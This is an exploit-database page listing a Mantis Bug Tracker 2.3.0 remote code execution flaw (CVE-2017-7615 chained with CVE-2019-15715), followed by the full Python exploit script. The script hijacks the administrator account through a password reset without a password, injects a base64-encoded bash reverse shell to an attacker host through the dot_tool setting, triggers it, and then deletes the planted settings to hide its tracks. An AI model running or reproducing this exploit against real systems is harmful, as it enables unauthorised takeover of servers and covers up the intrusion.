Mantis Bug Tracker 2.3.0 Remote Code Execution
CVE
Category
Price
Severity
CVE-2017-7615
CWE-94
$10,000
High
Author
Risk
Exploitation Type
Date
RandomDude
High
Remote
2020-09-19
CPE
cpe:cpe:/a:mantis:bug_tracker:2.3.0
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020090087 Below is a copy:
Mantis Bug Tracker 2.3.0 Remote Code Execution # Exploit Title: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)
# Date: 2020-09-17
# Vulnerability Discovery: hyp3rlinx, permanull
# Exploit Author: Nikolas Geiselman
# Vendor Homepage: https://mantisbt.org/
# Software Link: https://mantisbt.org/download.php
# Version: 1.3.0/2.3.0
# Tested on: Ubuntu 16.04/19.10/20.04
# CVE : CVE-2017-7615, CVE-2019-15715
# References:
# https://mantisbt.org/bugs/view.php?id=26091
# https://www.exploit-db.com/exploits/41890
'''
This exploit chains together two CVE's to achieve unauthenticated remote code execution.
The first portion of this exploit resets the Administrator password (CVE-2017-7615) discovered by John Page a.k.a hyp3rlinx, this portion was modified from the original https://www.exploit-db.com/exploits/41890.
The second portion of this exploit takes advantage of a command injection vulnerability (CVE-2019-15715) discovered by 'permanull' (see references).
Usage:
Set netcat listener on port 4444
Send exploit with "python exploit.py"
Example output:
kali@kali:~/Desktop$ python exploit.py
Successfully hijacked account!
Successfully logged in!
Triggering reverse shell
Cleaning up
Deleting the dot_tool config.
Deleting the relationship_graph_enable config.
Successfully cleaned up
kali@kali:~/Desktop$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.116.135] from (UNKNOWN) [192.168.116.151] 43978
bash: cannot set terminal process group (835): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/mantisbt-2.3.0$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
'''
import requests
from urllib import quote_plus
from base64 import b64encode
from re import split
class exploit():
def __init__(self):
self.s = requests.Session()
self.headers = dict() # Initialize the headers dictionary
self.RHOST = "192.168.116.151" # Victim IP
self.RPORT = "80" # Victim port
self.LHOST = "192.168.116.135" # Attacker IP
self.LPORT = "4444" # Attacker Port
self.verify_user_id = "1" # User id for the target account
self.realname = "administrator" # Username to hijack
self.passwd = "password" # New password after account hijack
self.mantisLoc = "/mantisbt-2.3.0" # Location of mantis in URL
self.ReverseShell = "echo " + b64encode("bash -i >& /dev/tcp/" + self.LHOST + "/" + self.LPORT + " 0>&1") + " | base64 -d | /bin/bash" # Reverse shell payload
def reset_login(self):
# Request # 1: Grab the account update token
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/verify.php?id=' + self.verify_user_id + '&confirm_hash='
r = self.s.get(url=url,headers=self.headers)
if r.status_code == 404:
print "ERROR: Unable to access password reset page"
exit()
account_update_token = r.text.split('name="account_update_token" value=')[1].split('"')[1]
# Request # 2: Reset the account password
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/account_update.php'
data = "account_update_token=" + account_update_token + "&password=" + self.passwd + "&verify_user_id=" + self.verify_user_id + "&realname=" + self.realname + "&password_confirm=" + self.passwd
self.headers.update({'Content-Type':'application/x-www-form-urlencoded'})
r = self.s.post(url=url, headers=self.headers, data=data)
if r.status_code == 200:
print "Successfully hijacked account!"
def login(self):
data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
r = self.s.post(url=url,headers=self.headers,data=data)
if "login_page.php" not in r.url:
print "Successfully logged in!"
def CreateConfigOption(self, option, value):
# Get adm_config_set_token
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_report.php'
r = self.s.get(url=url, headers=self.headers)
adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1]
# Create config
data = "adm_config_set_token=" + adm_config_set_token + "&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=" + option + "&original_config_option=&type=0&value=" + quote_plus(value) + "&action=create&config_set=Create+Configuration+Option"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_set.php'
r = self.s.post(url=url, headers=self.headers, data=data)
def TriggerExploit(self):
print "Triggering reverse shell"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/workflow_graph_img.php'
try:
r = self.s.get(url=url,headers=self.headers, timeout=3)
except:
pass
def Cleanup(self):
# Delete the config settings that were created to send the reverse shell
print "Cleaning up"
cleaned_up = False
cleanup = requests.Session()
CleanupHeaders = dict()
CleanupHeaders.update({'Content-Type':'application/x-www-form-urlencoded'})
data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
r = cleanup.post(url=url,headers=CleanupHeaders,data=data)
ConfigsToCleanup = ['dot_tool','relationship_graph_enable']
for config in ConfigsToCleanup:
# Get adm_config_delete_token
url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php"
r = cleanup.get(url=url, headers=self.headers)
test = split('<!-- Repeated Info Rows -->',r.text)
# First element of the response list is garbage, delete it
del test[0]
cleanup_dict = dict()
for i in range(len(test)):
if config in test[i]:
cleanup_dict.update({'config_option':config})
cleanup_dict.update({'adm_config_delete_token':test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]})
cleanup_dict.update({'user_id':test[i].split('name="user_id" value=')[1].split('"')[1]})
cleanup_dict.update({'project_id':test[i].split('name="project_id" value=')[1].split('"')[1]})
# Delete the config
print "Deleting the " + config + " config."
url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_delete.php"
data = "adm_config_delete_token=" + cleanup_dict['adm_config_delete_token'] + "&user_id=" + cleanup_dict['user_id'] + "&project_id=" + cleanup_dict['project_id'] + "&config_option=" + cleanup_dict['config_option'] + "&_confirmed=1"
r = cleanup.post(url=url,headers=CleanupHeaders,data=data)
#Confirm if actually cleaned up
r = cleanup.get(url="http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php", headers=CleanupHeaders, verify=False)
if config in r.text:
cleaned_up = False
else:
cleaned_up = True
if cleaned_up == True:
print "Successfully cleaned up"
else:
print "Unable to clean up configs"
exploit = exploit()
exploit.reset_login()
exploit.login()
exploit.CreateConfigOption(option="relationship_graph_enable",value="1")
exploit.CreateConfigOption(option="dot_tool",value= exploit.ReverseShell + ';')
exploit.TriggerExploit()
exploit.Cleanup()
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum